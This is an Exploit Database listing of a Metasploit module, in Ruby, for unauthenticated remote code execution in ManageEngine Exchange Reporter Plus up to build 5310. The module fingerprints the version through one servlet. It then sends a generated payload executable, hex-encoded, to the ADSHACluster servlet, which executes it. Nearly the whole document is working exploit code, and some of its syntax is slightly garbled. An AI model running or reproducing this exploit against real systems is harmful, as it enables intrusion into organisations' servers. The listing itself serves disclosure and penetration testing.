Manage Engine Exchange Reporter Plus – Remote Code Execution (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2018-07-13
类别：
- remote
平台：
- java
来源：https://www.exploit-db.com/exploits/45018/

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule< Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',

'Description'=> %q{

This module exploits a remote code execution vulnerability that

exists in Exchange Reporter Plus <= 5310, caused by execution of

bcp.exe file inside ADSHACluster servlet

'License'=> MSF_LICENSE,

'Author' =>

[

'Kacper Szurek <kacperszurek@gmail.com>'

'References' =>

[

['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']

'Platform' => ['win'],

'Arch' => [ARCH_X86, ARCH_X64],

'Targets'=> [['Automatic', {}]],

'DisclosureDate' => 'Jun 28 2018',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),

Opt::RPORT(8181),

])

end

def bin_to_hex(s)

s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join

end

def check

res = send_request_cgi({

'method' => 'POST',

'uri'=> normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')

})

unless res

vprint_error 'Connection failed'

return CheckCode::Safe

end

unless res.code == 200

vprint_status 'Target is not Manage Engine Exchange Reporter Plus'

return CheckCode::Safe

end

begin

json = res.get_json_document

raise if json.empty? || !json['BUILD_NUMBER']

rescue

vprint_status 'Target is not Manage Engine Exchange Reporter Plus'

return CheckCode::Safe

end

vprint_status "Version: #{json['BUILD_NUMBER']}"

if json['BUILD_NUMBER'].to_i <= 5310

return CheckCode::Appears

end

CheckCode::Safe

end

def exploit

res = send_request_cgi({

'method'=> 'POST',

'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),

'vars_post' => {

'MTCALL'=> "nativeClient",

'BCP_RLL' => "0102",

'BCP_EXE' => bin_to_hex(generate_payload_exe)

}

})

end